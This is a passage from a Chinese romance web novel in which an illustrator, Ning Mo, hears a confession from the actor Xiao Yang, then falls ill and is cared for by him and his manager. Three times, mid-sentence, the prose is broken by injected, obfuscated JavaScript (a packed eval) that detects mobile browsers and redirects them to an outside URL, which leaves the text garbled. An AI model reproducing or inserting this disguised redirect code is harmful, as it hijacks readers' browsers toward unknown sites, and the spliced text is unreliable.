霍研和孙尚万一同外出对接项目，浦世诚也和朋友聚餐去了，剩下三个助理各自收拾好东西准备下班，宋依依兴奋地说要回家看综艺，王墨也表示一定会实时关注综艺的反馈。 宁茉没有急着走，她给山山新买了几种口味的罐头，正蹲在山山的饭盆前开罐头，没找到开罐器，她努力了半天，还是没能拧动罐头的盖子。 这时，工作室的门却被人推开了。 宁茉有些诧异，头也不抬的问道：“怎么了依依，你忘带东西了吗？” 并没有人回答她，反而是一串脚步在朝着她靠近，宁茉疑惑地抬起头，正对上一双深邃的眼眸。 “……萧扬？”她愣了一下，起身有些呆滞地看着他，“你怎么这个时间来了？” 工作室的灯都已经关了一半，此刻只剩宁茉面前的这一小块地方是亮着灯的，萧扬完全走进她视野后，她才注意到萧扬身上穿的衣服。 是一套剪裁得体的黑色西装，他的头发也打理的十分精致，脸上还带着妆，似乎是刚结束什么拍摄就赶过来了。 萧扬走到她面前站定，目光扫向宁茉手里有些变形的罐头，转身从咖啡机下面的柜子里拿出了开罐器。 宁茉眨眨眼：“原来放在这儿啊，难怪我找不到。” “我来吧。”萧扬从她手中接过罐头，轻松地打开，将罐头放到桌子上。 山山早就闻到了罐头的香味，迅速敏捷地跳上来，移动到罐头前开始低头大口大口吃饭。 萧扬揉了一把山山的头顶，轻笑道：“难怪它越来越胖了，原来是你在给它加餐。” “……我没有，”宁茉有些脸红，“我只是偶尔买些罐头。” “偶尔？”萧扬目光看向山山零食架上堆成小山的罐头，“我特意把开罐器收起来，就是为了防止你们总是给它加餐，你看它的体型，哪像个只有半岁的小猫？” 宁茉捂住山山的小耳朵：“恶评，不要听。” 萧扬笑了：“……过度溺爱是无益于孩子成长的。” 宁茉又揉了揉心无旁骛干饭的山山，放软了语气：“它只是个小猫咪，不要对它要求那么严格啦。” “……” 萧扬去了会议室，宁茉则等山山吃完罐头，收拾好垃圾，又去工位上忙了一会儿。 等她准备离开，路过会议室，正遇上推开门出来的萧扬。 萧扬看着她：“要走了？” “嗯。”宁茉点点头，目光越过萧扬看向他身后会议室墙上的大屏，萧扬不知什么时候打开了那个屏幕，此刻正播放着一个综艺的开头片段。 宁茉一怔，这才意识到已经八点了——《欢乐对对碰》开播了。 萧扬顺着她的目光看过去，又转头问她：“要一起看看吗？” 这似乎是个不能拒绝的理由，宁茉点点头，走进了会议室，坐到了萧扬对面。 会议室的屏幕足有85英寸，是两个人哪怕坐到最远处也能看得清楚的尺寸， 综艺开场便是开场舞，宁茉看了看海文成和周杉在镜头里的甜蜜互动，又看看萧扬和乔娜娜两个人十分模式化的互动，没忍住笑了一声。 这声音被萧扬敏锐的捕捉到了：“怎么，我们看起来貌合神离？” “不止，”宁茉想了想，总结道，“可以说十分塑料。” 萧扬：“……” 综艺前半部分关于萧扬的内容很少，大部分镜头都是一带而过，不过即使是在背景板里，萧扬那张脸也依旧帅得十分突出。 宁茉看着看着，忘了萧扬还在身边，脱口而出：“小礼物果然没白送，这个造型做的真好看。” 说完突然感受到一道灼热的目光，宁茉闭了闭眼，缓慢的转头看向对面的人。 萧扬脸上却有笑意：“好看吗？” 宁茉的视线从他脸上扫过，又看向他身上那套十分吸睛的西装，诚实开口：“现在更好看。” 萧扬显然没想到她会这么答，神情一怔，愣神了几秒。 综艺的第一个小高潮出现在答题环节，萧扬毫不犹豫连答五题，配上十分应景的BGM，让屏幕前即使已经知道结局的宁茉都忍不住跟着紧张起来。 而直到整个答题结束，和屏幕里的欢呼同时响起来的，还有宁茉的掌声。 “……”萧扬有些无奈，“你看综艺向来是这么沉浸式吗？” “我激动嘛，”宁茉眨眨眼，“萧老师，你不觉得刚才的你很帅吗？” 萧扬眉尾微扬，眼底的笑意一闪而过：“还好吧。” 第二个精彩部分就是萧扬一口气冲过障碍物赢得比赛了，镜头里呈现出的效果比现场看起来还要惊险刺激，宁茉一边看着一边暗自紧张，倒是看的对面的萧扬十分好笑。 综艺过半时，宁茉想起来去看看网上的实时反馈，点开了微博。 密密麻麻的消息提示蹦出来，她才意识到自己忘了切号，现在登录的还是画师号。 飞速瞥一眼对面的人，宁茉立刻点击右上角切换了账号，换到了自己平时登录的追星小号上。 微博依旧十分热闹，各种关于《欢乐对对碰》的讨论层出不穷，其中萧扬占的份额竟然最多，也许是他在综艺里表现出的超强男友力和高质量，反而贴合了阑牧的学霸人设，不少人都在喊萧扬简直是天选阑牧。 半个小时后，#萧扬天选阑牧#的词条已经冲到了热搜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948329|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 榜前十。 宁茉笑着把手机举起来：“萧扬，你上热搜啦！” 萧扬跟着看了一眼手机，目光却始终在她身上。 宁茉还在可惜：“就是综艺里你的部分实在是太少了，除了这两个高光名场面，其他几乎都被剪光了，我记得录制的时候明明还有不少好看的地方呢。” 萧扬语气平静：“不是主角，当然不会在镜头中心了。” 宁茉托着下巴，不自觉喃喃道：“但我相信你很快就会是主角的，到时候不管什么节目，你都会站在中间，也会有最多最好看的镜头！” 萧扬心念一动，看着宁茉的目光柔和下来。 “谢谢你的……相信。” 宁茉抬眸看过去，却在对上萧扬的目光时一怔：萧扬的目光有些熟悉，让她想起拍《风暴降临》时那一场树林中的打戏，那晚萧扬也是用这样的目光看着自己，对视的瞬间，她的心就乱了。 明明现在已经转换了场景，可再次对上这样的目光，宁茉依旧有些不知所措。 她从云城回来以后，就有意地将自己沉浸到工作中，有意地疏离、回避萧扬，把曾经发生过的事情、深夜的那些悸动都尘封起来。 好在大多数时候萧扬身边都有很多人，她再也没有和萧扬独处的机会，那些乱七八糟的、不可控制的念头，也都能被她按下去、忽略掉，就好像从未出现过。 可一旦靠近萧扬，一旦将两个人的距离像现在这样拉近，她的心跳就会不受控的加快，矛盾和懊恼的念头交织出现，她理不清这些头绪，也无法面对。 “宁茉。” 萧扬突然开口，反倒让宁茉的心跳一停，有些慌乱地抬头：“……啊？” 萧扬问的问题却是她没想到的：“你在这里工作，开心吗？” 宁茉垂下眼眸，避开萧扬的视线，很慢地点点头：“……还是挺开心的，工作室的人都很好。” “可是……”萧扬顿了几秒，说道，“你的失眠，好像并没有好转。” 宁茉第一反应是瞥了一眼手腕上的手表，很快她又意识到手表上的数据只有自己能看到，萧扬是看不到的。 那他这么说，多半只是看自己最近半夜在微信群发消息的频率太高，推测自己又没怎么睡觉。 “这个也没有办法啊，”宁茉笑笑，“总不会因为工作环境好，失眠就自己治好了吧。” 萧扬沉默了几秒，似乎在犹豫，却还是问道：“那你……有看过医生吗？” “或者说……你愿意去看医生吗？” 宁茉猛地捏紧了指尖。 在向萧扬坦露自己失眠的那个夜晚，萧扬的问题始终是有分寸的、有边界感的，包括之后谈及这件事，他都表现的十分绅士。 从不曾像现在这样……直截了当的问她。 可当他真的问出来，宁茉反而并不气恼，有种……终于说开了的释然。 她摇摇头，语气却是真心的：“我觉得没必要去看。” 萧扬皱眉：“可是……这样持续下去迟早会生病的，我认识几个这方面的医生朋友，他们都很专业，如果你愿意……” “不用了，”宁茉打断他，很浅地笑了笑，“我明白我生病的根源是什么，有些问题……我只能靠自己解决。” 她笑的有点勉强，脸上却仍旧维持着淡然的神情：“而且，我也不想再和别人说一遍我的经历。” “……” 萧扬眼底黯淡下来，看着面前的人，她那一双漂亮清澈的眼眸此刻灰蒙蒙的，细细的眉毛微微皱着，面上却在努力维持笑容。 心底猛地一颤，萧扬脱口而出：“那我呢？” “……什么？”宁茉有些茫然地看向他。 萧扬看着她，眼眶有些发红，轻声问道：“你不愿意告诉别人，那……愿意告诉我吗？” 59. 第 59 章 宁茉呆住了。 她的情绪一瞬间有些空白，茫然和恐惧呼啸着冲上来，又一点一点消解在萧扬无声的对视中。 时间仿佛定格了几秒，两个人的眼圈都是红的，却谁也没有先移开视线。 “……” “……” 大屏上的综艺已经播放结束，整个工作室寂静无声，在这别样的寂静中，宁茉蓦然想起曾经熬夜陪着萧扬工作的那些夜晚。 也许，在她自己都没有发觉的时候，萧扬在她心里，已经和“别人”划出了清晰的界限。 但…… 直到会议室的灯光闪烁了一下，宁茉才涩声开口：“……不了吧。” “也不是什么愉快的经历，而且……太长了，讲起来怪累的。” 她慢慢挪开视线，苦笑了一下：“但还是谢谢你的关心。” 对面的人沉默了许久。 宁茉起身：“综艺也看完了，我……先走了。” 她转身朝着会议室外走，还没走两步，身后的人突然追了过来，下一秒，她的手腕被猛然攥住。 宁茉一颤，浑身像触电般颤抖了一下，怔然回头。 萧扬的神情是她从未见过的认真，眼神滚烫，夹杂着她难以理解的情感，哑声道：“……可是我想知道。” “……”宁茉眼瞳一颤，眼眶酸涩到不堪忍受，“萧扬，作为朋友，你已经很好了，是我自己不想说，请你不要……” “——可是我不止想做你的朋友。” 萧扬说出这句话时并没有犹豫，紧紧盯着宁茉，不肯放过她的任何反应。 “……” 宁茉几乎僵住了。 她浑身发烫，脊背像过电般发麻，眼睫里有眼泪不受控制地下落，她猛地撇开头，没让萧扬看到她的眼泪，同时快速抽出手，后退了两步。 随后，宁茉头也不回地推开会议室的门，拧开工作室大门，径直走了出去。 …… 会议室内，萧扬保持着伸手的姿势定在原地，眼眸有些失焦。 他在原地站了许久，才慢慢收回手，转身关上了会议室的门，拿出口袋里的手机。 手机已经震动了很久了，他之前一直没理，现在才按下接听。 浦世诚的嗓门极大，透过听筒回荡在整个工作室：“大哥！！！说好的八点到，你自己看看现在几点了？！你人呢？！！！！” “……”萧扬低声道，“有点事耽误了，今天就不去了。” “什么？！你又不来了？不是萧扬你有病啊！你到底去哪儿了！” 萧扬揉了揉耳朵，将手机拿远了些：“代我向他们道歉，以后我会补回来的。” 说完也不管还在嚷嚷的浦世诚，他挂断电话，靠在会议室门前，安静地站了许久。 …… 凌晨三点。 宁茉缩在沙发上，捏着触控笔发着呆，直到平板从她腿边滑落，才如梦初醒般伸手去捞回平板。 平板上的画面始终停留在草稿阶段，画了一晚上也没有实质性的进展。 确切的说，从她回来以后，脑子里就没有出现过任何画面，只是习惯性地坐在这里，维持着画画的姿势。 晚上在工作室的对话还刻在她脑海里，萧扬那句话她听得清楚，但过了几个小时后，她又开始怀疑自己是不是听错了。 表情有些木然，宁茉放下平板，揉了揉自己的脸，试图让它恢复一点血色。 天气越来越冷了，房间里的温度也随之下降，温度计显示房间目前只有十七度，尽管她穿着厚厚的毛绒睡衣，浑身也有些发凉。 犹豫了一会儿，宁茉摸到压在沙发底下的空调遥控器，打开了房间的空调。 之前由于电费太贵，她始终不舍得开空调，更多时候都选择窝在被窝里保持温暖，最近拿到《风暴降临》两幅官方画稿的稿费，才有了开空调的充分底气。 暖风很快在房间内循环起来，房间温度上升到25度，宁茉却还是觉得冷。 她后知后觉地意识到，似乎不是因为外界原因才觉得冷。 宁茉在沙发上缩成一团，抱着自己的膝盖叹了口气。 为什么这么难过？现在的一切不都很好么？ 找到了喜欢的工作，画画的成绩越来越好，还……和曾经的偶像近距离接触，成了朋友。 蓦然，那句“可是我不止想做你的朋友”又突然从脑海里碰出来，毫无预兆地砸向宁茉。 “……” 宁茉闭上眼，又猛然睁开，起身走到了卫生间，站定在镜子前面。 镜子里映出苍白憔悴的一张脸，眼睛里没有活力，整张脸透露着疲惫和麻木，像被生活捶打成一团的干巴海绵。 常年的熬夜和缺乏睡眠，让她的眼圈下方隐隐有一圈青色，嘴唇也是苍白的，加上她皮肤原本就白，乍一看像个面无表情的女鬼。 这样的自己，这样……自己都不太喜欢的自己，会有人喜欢吗？ 凌晨的卫生间里，宁茉在镜子前站了许久，久到小腿有点发麻，才慢慢走回沙发，摸出手机。 她打开微博，想看看网友们的评论，再从中汲取一点力量：只有在画画的时候，她的自信心会更快地建立起来。 微博上关于她的新画作讨论还在继续，但宁茉点开评论区才发现，评论风向已经从一开始的满屏夸赞，到后来有了其他的声音。 “所以这个画师根本就是萧扬工作室炒作的噱头喽” “不会是重金买了国外的画稿，然后装作是个国内新画师来捧萧扬吧？” “萧扬真是资源咖，挤掉王驭抢到阑牧这个好角色，然后再找个什么小画手配合炒作，轻轻松松吸粉上热搜~” “风暴里出场不超过四集的角色，人气值比海文成还高，说出去谁信啊？就硬发大水呗” “别炒了，粉丝还没白野的零头高，也不知道哪来的自信~” …… 明明刚开始阑牧这个角色无人看好，明明萧扬曾经两年都在娱乐圈查无此人，但这些争议就像是阴暗角落里挥之不去的蛆蝇，围着宁茉的微博不断发言。 宁茉在评论区输入了很长一段话，从自己不是买来的画作到萧扬从来没有让自己配合他炒作，长长的字打出来，在按下发送前，她又停住了，目光盯着眼前空中虚虚的一点。 在工作室的时候，面对一些恶评宋依依总是想回击，却都被孙尚万拦住了，他说不要轻易回应，很多时候不回应才能让事情慢慢过去。 而且，她的澄清和维护，也许会成为这些人再次攻击萧扬的武器。 宁茉最终关掉了微博，躺到沙发上，疲惫地闭上了眼睛。 …… 第二天早上，宁茉破天荒没来上班。 工作室的人都已经到齐，霍研看了眼宁茉的工位，问一旁的宋依依：“宁茉怎么还没来？” 宋依依摇摇头：“不知道，我刚才给她发微信，她也没有回我。” “怎么回事？”霍研打开手机，拨了宁茉的电话过去，却也没有人接听。 “是遇见什么意外情况了？”孙尚万关心道，“要不再等会儿吧。” 上午十点，萧扬穿着一身定制白色西装，缓缓推开了工作室的门。 他的目光先是习惯性朝着几个工位扫了一眼，随后目光一滞，看向那个突兀的空位。 浦世诚跟在他身后：“十一点半出发去南江区，这是资料，你先看看……” “宁茉呢？”萧扬问他。 浦世诚这才注意到宁茉竟然不在工作室：“嗯？跟着霍研出去了？” 孙尚万在一旁盯着电脑头也不抬：“没有，她早上没来，刚才发了条消息请假。” 萧扬脚步一顿：“她怎么了？” 孙尚万摇摇头：“具体的情况我也不知道，她可能不太舒服。” 萧扬：“……” 蓦然想到昨晚宁茉离开时的背影，萧扬皱了皱眉，转身走出了工作室。 …… 昏暗的房间里，宁茉躺在沙发上，紧皱着眉头。 她的脸色潮红，额头满是汗珠，手垂在沙发上，地上是掉落的手机。 手机铃声锲而不舍地响了许久，宁茉被吵醒，伸手摸了摸身旁，没有摸到手机。 神智不太清醒，她闭上眼打算继续睡。 铃声中断了几秒后又响了起来，宁茉艰难地睁眼，终于意识到手机掉在地上。 摸索着捡起手机，没力气看是谁打来的电话，宁茉将手机举到耳边，轻声道：“……你好。” “宁茉？你怎么了？”电话那端的人声音有些焦急，但像隔着一层棉花，听不太清。 宁茉有些恍惚，自己好像置身在旧日工作的公司里，客户们催着她要方案，她却因为生病耽误了流程。 那个时候她一边发烧一边隔着电话道歉，却始终没能浇灭客户的怒气。 这次大概也是一样，宁茉暗暗叹了口气，哑声开口：“抱歉，方案我明天早上一定给您，耽误的时间……我会在后续的流程里补回来，请您不要着急……” 对方又说了几句她没听清，还在机械地重复着那句抱歉。 “你在哪儿？能听见吗？宁茉！” 宁茉被对方最后一句声音震了一下，神智短暂地恢复了几秒：“我在……家里……” 随后她又闭了闭眼：“抱歉，如果您实在着急，今天晚上我会努努力先给您一个初稿……” 手机那头的人又说了几句话，宁茉实在困得不行，手一松，手机从手中脱落， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956989|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重新摔回了地面。 这下彻底安静了。 …… 不知道又睡了多久，宁茉突然听到有人在敲门。 她茫然地睁眼，眼神始终聚不了焦，只觉不可思议：这客户也太着急了吧？都追到家里来了？ 盯着天花板的灯看了几分钟，她终于听到门口的声音。 “宁茉，你能听见我说话吗？我是浦世诚！” “宁茉你没事吧？” “……”宁茉眼珠干涩地转了转，终于慢慢回过神。 她好像是发烧了，早上醒来的时候浑身滚烫，就发了条信息请假，却实在困得不行，连沙发都没离开，直接裹着毯子又睡过去了。 慢慢撑着胳膊坐起来，宁茉眼前一阵阵发晕，步伐也不太稳定。 但她得赶紧开门，门口两个人再敲下去，邻居大概都要出来围观了。 摇摇晃晃走到了门口，宁茉拧开了门把手，下一秒抬眸一看，正对上一双焦灼发红的眼眸。 “……萧扬？”宁茉愣了几秒。 萧扬紧紧盯着她，目光从她满是汗的额头移到她发红的脸：“你发烧了？” 宁茉点点头，注意力却被萧扬的目光吸引，这样担心的眼神，她似乎在哪里见到过。 但她现在没有力气想太多，萧扬伸手扶她，她也就这么倚着萧扬的手臂转身往房间走。 “宁茉你怎么样了？吃药没？”浦世诚紧跟在两人身后关切地问她。 宁茉摇摇头，走到床边，自觉地拉开被子躺了进去，重新闭上眼。 “让我睡一会儿。” 浑身都有点疼，强烈的睡意包裹着她，她只想躺下休息。 浦世诚挠挠头：“生病了不吃药哪能行呢？你家的医药箱在哪？” 浦世诚开始满客厅找药，萧扬则瞥了眼客厅的沙发，上面的毯子凌乱散着，看得出宁茉刚才就是从沙发上起身的。 生病了竟然还不去床上睡，也不吃药，是打算靠自己的免疫力熬过去吗？ ……如果今天没有来工作室，是不是都没有人知道宁茉自己在家里发着烧，病得很严重？ “找到温度计了。”浦世诚拿着温度计走过来，萧扬接过温度计给宁茉一量，顿时皱起眉头。 “38.5℃……怎么烧的这么厉害？” “退烧药在这儿，”浦世诚递来药盒，“目前看起来她的症状不算严重，只是单纯的发烧，先吃点退烧药看看。” “好。” 萧扬找到水壶，烧了壶热水，又往杯子里兑了些常温的矿泉水，将水温调到适宜的温度，走到宁茉床前。 “宁茉，先把药吃了再睡。” 床上的人完全没有理他。 萧扬叹了口气，伸手扶着宁茉的肩膀，将她慢慢拉起来。 浦世诚忙上前：“我来吧。” “不用，”萧扬拒绝了他的帮忙，自己将宁茉慢慢扶起来。 宁茉紧紧皱着眉，对这个动作很抗拒：“别拉我……” 萧扬放柔语气：“吃药，先吃药，吃完药再睡好吗？” 许是他的温柔态度起了作用，宁茉没有再挣扎，顺从地起身，伸手接过药片，往嘴里塞了两片，随后就要躺回去。 萧扬立刻拉住她：“还要喝水，不喝水怎么咽下去？” 宁茉皱着眉去接水杯，萧扬却绕开她的手，直接将水杯递到她唇边，宁茉就着杯子低头喝了口水，将药片咽下去。 大概是太久没喝水了，她的嗓子喑哑干涩，甫一接触到水就停不下来，又接连喝了几口，动作有些大，水从唇边洒了出来。 浦世诚慌忙去找纸，一回头却愣住了： 萧扬毫不犹豫地用掌心接着那些水，不让宁茉的衣服被淋湿，挪开杯子时水洒到了萧扬身上，他也并不在意，仿佛平日那个衣服脏了一点都要立刻换掉的人不是他一般。 浦世诚怔在原地，瞪大了眼睛。 萧扬的神情是浦世诚从未见过的温柔，耐心又细致，哄着宁茉喝完水，又扶着她慢慢躺下，丝毫不顾自己身上的水渍，忙前忙后。 浦世诚神情复杂，欲言又止：“你……” 萧扬看了他一眼，将宁茉身上的被子盖好，和浦世诚一起走出了宁茉的卧室。 “你们……” 浦世诚一开口又卡住了，张张嘴，半天没说出一句话。 他神情里还带着点不敢置信，又有些疑惑：“你们……是不是……” “不是，”萧扬显然很清楚他在问什么，答得干脆果断，“我们不是你想的那种关系。” 浦世诚听到这句话，顿时放下了心，长长的出了一口气：“哦，那就好，吓我一跳……” 下一秒，萧扬眼也不眨地接道：“但我确实喜欢她。” 60. 第 60 章 “咳咳咳！！咳咳……” 浦世诚一口气没顺下去，呛了半天差点噎死。 萧扬看了眼卧室，眼神里多了些警告：“小点声，别吵到她。” “不是，你……咳咳……”浦世诚死命压低声音，“你怎么会……她她她，她来工作室不是才几个月吗？” 萧扬面色不改：“喜欢一个人需要很长时间吗？” “我不是这个意思！宁茉，宁茉她，你……”浦世诚显然懵了，语言组织能力都混乱起来，“你们……什么时候？那宁茉呢？宁茉怎么会喜欢你的？？” 萧扬眼神暗下来：“行了，这么多问题，不如给她做顿饭，多关心一下病人。” 浦世诚长长的吐了口气，停了几秒才开口：“……宁茉是我的员工，我当然会关心，倒是你，我可是你兄弟，这种事你都不告诉我？” 萧扬没理他，转身往客厅走，浦世诚紧贴在他身后一路念叨：“要不是我火眼金睛看出来了，你还打算瞒到什么时候？” “萧扬你小子可以啊，不声不响炸个闷雷……诶呦！” 浦世诚猛地撞到了萧扬背后，磕的鼻子生疼，抬手揉了揉鼻子，纳闷道：“你怎么不走了？” “……她家没有厨房。” 萧扬面色有些无奈，抬眼看了眼四周，宁茉住的这个小屋子，一室一厅一卫，所有的空间都安排的妥当紧凑，根本就没有留出做饭的空间。 那她平时都是怎么吃饭的？在萧扬的印象里，似乎只见过宁茉有时中午在工作室楼下的饭馆里觅食，其他时间没有见她怎么吃过饭。 “没厨房就点外卖呗，我点份粥。”浦世诚行动力很强地点完外卖，又开始继续数落萧扬。 “不是萧扬你现在可以啊，这种事情都不告诉我？” 萧扬走到沙发前，弯腰去整理沙发上的毯子：“这种事情有必要告诉你吗？” 浦世诚猛地一锤萧扬的肩膀：“当然了！！！拜托萧扬，我现在可是你最最重要的合作伙伴，你有什么事情都要第一时间告诉我啊！而且你现在又不像以前没什么知名度，风暴降临播完，再加上下一部如意环……你的关注度只会越来越高，万一哪天你和宁茉被记者拍到，突然爆了个恋情，你要我怎么应对啊！” “……”萧扬将毯子叠好放到沙发上，转身看了浦世诚一眼，“我说了，我们不是那种关系。” “不是那也快是了好吧，你以为我没谈过恋爱？你们这样……”说着说着，浦世诚突然察觉不对，语气一顿，“等一下，你喜欢宁茉这件事……她知道吗？” 萧扬沉默下来。 浦世诚的眼睛又瞪大了，他一看萧扬的反应，顿时明白过来：“你没表白啊？” 萧扬目光定在沙发上的平板，伸手将它摆到毯子上面，余光却又看到一角黑色金属，低头一看，一个手机静静躺在沙发底。 他蹲下去捡手机，浦世诚却已经继续问道：“那……宁茉喜欢你吗？” 萧扬将手机和平板十分端正地摆到一起，随后转身推开浦世诚：“你的问题太多了。” 浦世诚“噗”的一声笑了：“啊？不是，萧扬，你……单相思啊？” 萧扬：“……” 浦世诚的目光朝着卧室瞥了一眼，又看向面前的萧扬：“合着闹了半天，人家都不知道你喜欢她？” 萧扬显然不想再理他，在医药箱里找到温度计，又进了宁茉的卧室。 浦世诚依旧跟在他身后，一脸稀奇地看着萧扬照顾别人。 看了一会儿，他幽幽开口：“虽然说宁茉确实很优秀，但我真的好奇，你为什么喜欢她？” 浦世诚托着下巴思考：“是因为她性格好？因为她漂亮？还是……” 萧扬走出卧室，将房间门带上，才轻声开口：“……不为什么。” 浦世诚经过这么一会儿，脑子也慢慢转回来了，对这件事竟然有了一定接受度，他想了一会儿，开口。 “不过我看宁茉的性格，她不像是会喜欢你这种人的样子啊。” 萧扬立刻看向他：“为什么不会？” “宁茉是个低调姑娘，性格也安静，你看她连平时穿的衣服都是黑灰色居多，”浦世诚的目光移向萧扬身上十分亮眼的白色西装，“哪像你，走到哪儿都是个焦点，就连刚才在楼下，下车的时候都差点被人拍照，还是我挡着你才顺利走开的。” “——你这闪闪发光的大明星，她能接受的了吗？” “……明星怎么了，”萧扬皱了皱眉，“也是人，不能喜欢吗？” “能喜欢，但……”浦世诚摇摇头，“圈里那些公布了恋情的明星，哪个不是最后闹得一地鸡毛？更不用说有些偏激的粉丝，恨不得把女方的隐私信息全扒出来，骚扰的骚扰、骂的骂……宁茉就是个普通人，哪能受得了这架势？” 萧扬回答的斩钉截铁：“她不会经历这些的。” “……”浦世诚这才深深看了一眼萧扬，“你是认真的？” “当然。” “……” 浦世诚抿了抿嘴，摇头：“可就算你把后路都想好了，人家要是不喜欢你，不全都白搭吗？” 这句话像是一根尖锐的针，瞬间戳破了萧扬满满的气势，他眉眼一点点落下来，低声道： “……也许……她会喜欢我呢？” 可他这句话毫无气势，听得浦世诚都有点心酸，伸手拍了拍萧扬的肩膀：“这种事呢，我是帮不了你了，你自己加油吧。” “叮叮叮~” 门铃被人按响，浦世诚走到门口接过外卖，想起来看了眼手机，顿时一惊：“卧槽，差点忘了，你待会儿还有行程呢！” 萧扬也是一怔，接过浦世诚手里的盒子，想了想开口道：“往后推吧，麻烦你了……推到下午吧。” 萧扬打开外卖包装盒，将里面的小盒子一个个拿出来，又把粥倒到碗里。 “你……”浦世诚想了想，又朝卧室看了一眼，“行吧，看在宁茉的面子上。” 萧扬去卧室叫宁茉起来吃饭，宁茉有些头晕，下意识拽着萧扬的手，将全身重量都压在对方身上。 浦世诚满脸八卦，左看看右看看，一脸想发言的表情。 萧扬的目光冷冷看向他：“没事干你就先回工作室。” 浦世诚拒绝的十分干脆：“那不行，我不放心，我不能留你们孤单寡女共处一室。” 萧扬：“……” 宁茉刚被叫起来还有点头晕，过了几分钟才彻底清醒，她坐到沙发前，满脸抱歉：“不好意思啊浦哥，麻烦你了，还得来我家照顾我。” 浦世诚一笑：“我倒是没事，而且是萧扬坚持要来的。” 宁茉的目光看向萧扬，她直到现在才有一种萧扬确实来她家里找她了的实感，之前迷迷糊糊的，见到萧扬都还以为是做梦。 “……也麻烦你了。”宁茉小声说道。 “不麻烦，”萧扬从柜子里找到餐具，“喝甜粥还是咸粥？我们都点了一份。” “没关系没关系，我来吧，”宁茉忙接过餐具，又看向面前的两个人，“你们吃饭了吗？” “不用担心我们，你先吃，”萧扬说道，“你昨晚吃饭了吗？” 宁茉顿了一下：“吃了。” “吃了什么？” “……”宁茉挤出一个微笑，“一个红薯。” “……”萧扬眉眼沉下来，“只吃这个？你平时也是这样吗？” 宁茉忙摇摇头：“没有没有，平时……楼下的小吃摊还是挺多种类的。” “……” …… 烧还没退，宁茉没什么胃口，努力吃了小半碗粥，终于还是放下了勺子。 “不吃了？”萧扬问她。 宁茉点点头：“吃不下了。” 萧扬起身去收宁茉面前的碗： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14968954|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “去休息吧，过一个小时再量一□□温。” “诶？不用，我自己来……” 一句话没说完，萧扬已经将碗筷全部收走，去了洗手台洗碗。 “……”宁茉愣了一下，一瞬间有种身份颠倒的失真感。 “是不是第一次见到萧扬这么居家的一面？”浦世诚站在桌边，摸了摸下巴，“说实话，我也没见过，我还以为他不会洗碗呢。” 宁茉跟着默默点了点头。 萧扬动作很快，说话间已经走出来，将碗擦干净放回去，又转身看向宁茉。 “你们是不是还有行程？”宁茉起身，“我没什么事了，你们去忙吧，今天麻烦你们了。” 萧扬接的很快：“没关系，行程是下午的，不耽误。” “……”浦世诚看一眼萧扬，又看一眼宁茉，笑笑，“算了，我确实还有点事，我先回工作室了，车给你留着。” 说着，他将车钥匙抛给萧扬，转身往门口走。 宁茉下意识要去送他，被萧扬挡住，头也不回道：“慢走。” “……”浦世诚走到门口，转身朝着萧扬笑了，“你自己加油吧。” “？”宁茉不明白他这句话的意思，有些疑惑。 萧扬却望着她的脸颊：“还难受吗？” 宁茉摇摇头，在萧扬的目光下，终于后知后觉地意识到一个问题。 “？！”她猛地眨了眨眼，转身快速往卫生间跑。 “……”萧扬没反应过来，人已经瞬间在眼前消失了。 卫生间里，宁茉望着镜子前乱七八糟的人，无声地尖叫起来。 这是……什么……造型…… 自己今天就这幅鬼样子……见的萧扬吗？！ 一晚上在沙发上披散、凌乱的像鸡窝的发型，由于出汗变得发红发暗的脸，熬夜产生的黑眼圈，加上毫无形象臃肿毛绒的睡衣…… 她甚至还没洗脸。 宁茉整个人僵化了，在镜子前待了足足一分钟，直到萧扬不放心追过来，隔着门问她怎么了。 “……没、没事！” 宁茉迅速打开水龙头，低头开始洗脸，又找出梳子，简单把头发整理了一下。 低头又看看自己身上的睡衣，宁茉犹豫了几秒，还是没打算换掉，否则也太刻意了。 等她从卫生间走出来，萧扬正站在屋子里等她，见她朝着自己的方向走，开口道：“再去睡一会儿吧。” 宁茉摇摇头：“……不困了。” 两个人坐在沙发上，相对沉默了几秒。 宁茉又开口道：“今天谢谢……” “怎么突然发烧了？”萧扬和她同时开口。 “……”宁茉缓缓眨了眨眼，“可能是受凉了。” 萧扬皱了皱眉，语气沉下来：“你这里的钥匙有备份吗？以后往工作室放一个吧，万一再有什么事情，我……我们也好来找你。” “……好。”宁茉知道他是担心自己哪天再生病家里都没个人管，就顺从地点点头。 萧扬又问：“你最近……休息的还好吗？” 宁茉立刻想到一整晚没睡的自己，视线立刻下移：“……还可以。” 萧扬沉默了几秒。 宁茉几乎有了预感，正想说什么，萧扬已经抢先一步：“让我看看记录。” 